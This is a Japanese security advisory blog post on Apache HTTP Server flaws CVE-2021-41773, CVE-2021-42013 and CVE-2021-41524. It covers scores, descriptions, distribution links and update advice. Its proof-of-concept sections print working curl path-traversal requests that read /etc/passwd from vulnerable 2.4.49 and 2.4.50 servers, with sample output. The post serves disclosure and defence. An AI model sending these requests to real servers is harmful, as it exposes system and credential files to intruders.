こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
10/05/2021にApache HTTP Serverの脆弱性情報(Important: CVE-2021-41773, Moderate: CVE-2021-41524)が公開されました。今回はこちらの脆弱性の概要と、各ディストリビューションの情報を纏めています。
「Apache HTTP Serverの脆弱性」が不適切なため「Apache HTTP Serverの脆弱性」に変更しました。山賀 正人さん、御指摘有難うございました。
【2021/10/06 19:30追記】PoC(CVE-2021-41773)を追加しました。
【2021/10/08 06:00追記】CVE-2021-41773の修正が不完全だったため、CVE-2021-42013が発行され修正バージョン(2.4.51)がリリースされました。
【2021/10/08 17:30追記】PoC(CVE-2021-42013)と動画へのリンクを追加しました。
[過去の関連リンク(最新5件)]
Priority
CVE番号 | 影響するバージョン | Priority | CVSS Score / CVSS Vector |
---|---|---|---|
CVE-2021-42013 | apache = 2.4.49 , 2.4.50 | Vendor: Critical | Red Hat: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
CVE-2021-41773 | apache = 2.4.49 | Vendor: Important | Red Hat: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2021-41524 | apache <= 2.4.49 | Vendor: Moderate | Red Hat: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
修正方法
各ディストリビューションの情報を確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
- パストラバーサルとファイルの露出の脆弱性(2.4.49)
- Apache HTTP サーバー 2.4.49でのパス正規化の変更点に問題が見つかりました。攻撃者はパストラバーサル攻撃を用いてドキュメントroot外のファイルにアクセスすることが出来ます。ドキュメントroot外のファイルが”require all denied”で保護されていない場合にはこのアクセスが成功します。さらにこの問題によりCGIスクリプトのようなファイルのソースが漏洩する可能性があります。
この問題を悪用した攻撃も現在の所観測されていますので注意が必要です。
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
- パストラバーサルとファイルの露出の脆弱性(2.4.49)の不十分な修正
- 上記のCVE-2021-41773の修正のためにリリースされた2.4.50に不完全な修正が含まれていました。ディレクトリがAliasの形でディレクティブで設定されていた場合、同様にパストラバーサルの問題が発生します。
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41524
- h2ファジングによるNULLポインタ被参照による外部からのDoS
- 2.4.49のhttpdをファジングしている際に、新たに外部からDoSを仕掛けることが可能な、HTTP/2リクエストの処理の際のNULLポインタ被参照の問題が見つかりました。
PoC(CVE-2021-41773)
環境:CentOS8 Stream, Apache 2.4.49
- 前提:nftablesでhttp(80)にアクセスできるようにしておきます。また、yumでコンパイル環境、apr、pcreをインストールしておきます。
- Apache 2.4.49をソースからインストールします。Apacheのサイトからソースをダウンロードして、適当なディレクトリでconfigure ; make ; sudo make installを行います(デフォルト構成だと/usr/local/apache2以下にインストールされます)。
- /usr/local/apache2/conf/httpd.confファイルで下記のように修正します。
#ServerName www.example.com:80 ServerName xx.xx.xx.xx:80 <-- xx.xx.xx.xx(IPアドレス) # # Deny access to the entirety of your server's filesystem. You must # explicitly permit access to web content directories in other # <Directory> blocks below. # <Directory /> AllowOverride none #Require all denied Require all granted <-- /以外に出られないという強いアクセス制御を外す </Directory> --snip--
- “/usr/local/apache2/bin/apachectl start”でApacheを起動します。Port80をbindして動きます。
- 外部からApache(http://xx.xx.xx.xx)にアクセスできることを確認します。
omo@outside:~/src$ curl http://xx.xx.xx.xx --head HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 10:31:16 GMT Server: Apache/2.4.49 (Unix) <-- Apache 2.4.49であることを確認。 Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT ETag: "2d-432a5e4a73a80" Accept-Ranges: bytes Content-Length: 45 Content-Type: text/html
- 外部からターゲットホストに対してcurlで以下のようにアクセスします
omo@outside:~$ curl http://xx.xx.xx.xx/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
- パスワードファイルが出力されます。
--snip-- usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin unbound:x:994:988:Unbound DNS resolver:/etc/unbound:/sbin/nologin gluster:x:993:987:GlusterFS daemons:/run/gluster:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin chrony:x:992:986::/var/lib/chrony:/sbin/nologin avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin setroubleshoot:x:991:984::/var/lib/setroubleshoot:/sbin/nologin saslauth:x:990:76:Saslauthd user:/run/saslauthd:/sbin/nologin dnsmasq:x:983:983:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin radvd:x:75:75:radvd user:/:/sbin/nologin sssd:x:982:982:User for sssd:/:/sbin/nologin cockpit-ws:x:981:980:User for cockpit web service:/nonexisting:/sbin/nologin cockpit-wsinstance:x:980:979:User for cockpit-ws instances:/nonexisting:/sbin/nologin
SELinux有効にして防げる、と言いたいですが、CentOS8の場合httpd-2.4.49.tar.gzでソースから入れている時点で、httpdプロセスはunconfined_tドメインで動いていますので、結果としてはSELinuxによる制限は(ソースから入れたhttpdに関しては)かかっていない状態になるため緩和策になっていません。緩和策にするためには、/usr/local/apache2以下を適切に割り振ってhttpdをhttpd_tドメインで動作させることで理論上は被害を最小限に出来るはずです。こちらも追って追試しようと思います。
PoC(CVE-2021-42013)
CVE-2021-42013のPoCをYoutube動画で公開しました。
omo@outside:~$ curl http://apache-test/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
の様にすると、httpd-2.4.50でもディレクトリトラバーサルが有効になってしまっていました(不完全な修正のため)。httpd-2.4.51ではこの点は修正されています。
主なディストリビューションの対応方法
詳細は、各ディストリビューションの提供元にご確認ください
- Debian
https://security-tracker.debian.org/tracker/CVE-2021-42013
- Red Hat Enterprise Linux/CentOS/Rocky Linux
https://access.redhat.com/security/cve/CVE-2021-42013
- Ubuntu
https://ubuntu.com/security/CVE-2021-42013
- SUSE/openSUSE
https://www.suse.com/security/cve/CVE-2021-42013.html
対処方法
各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。
セキュリティ系連載案内
- OSSセキュリティ技術の会による日経Linuxでの連載「IoT時代の最新SELinux入門」がITPro上で読めるようになりました。技術の会代表で第一人者である中村さん等による、最新のSELinuxの情報やコマンド類等も更新されているのでお薦めです。
- OSSセキュリティ技術の会によるThinkITでの連載「開発者のためのセキュリティ実践講座」がThinkIT上で開始しました。技術の会の中の人間で、最新の代表的なOSSセキュリティ技術を紹介していきます。
- OSSセキュリティ技術の会により、ThinkITでLinuxSecuritySummit 2018のレポートが紹介されています。
- OSSセキュリティ技術の会の面により、@ITで「OSS脆弱性ウォッチ」が連載されています。
- OSSセキュリティ技術の会の面により、@ITで「OpenSCAPで脆弱性対策はどう変わる?」が連載されています。
- OSSセキュリティ技術の会のメンバーにより、@ITで「Berkeley Packet Filter(BPF)入門」が連載されています。
日々のメモを更新しています。
セキュリティ関係で気になったニュースの備忘録を兼ねたメモを更新しています。個別で情報出せるようになる前の簡単な情報・リンクなんかも載せていきます。
セミナー情報1
コンピュータセキュリティシンポジウム(CSS)2021併設のワークショップ、 OSSセキュリティ技術ワークショップ(OWS) 2021の企画講演セッション及び、 一般論文セッションをさせていただきます。
今年もオンラインでの開催となり、OWSトラックの一般論文セッションと企画セッションを行いますので,ご参加よろしくお願いいたします。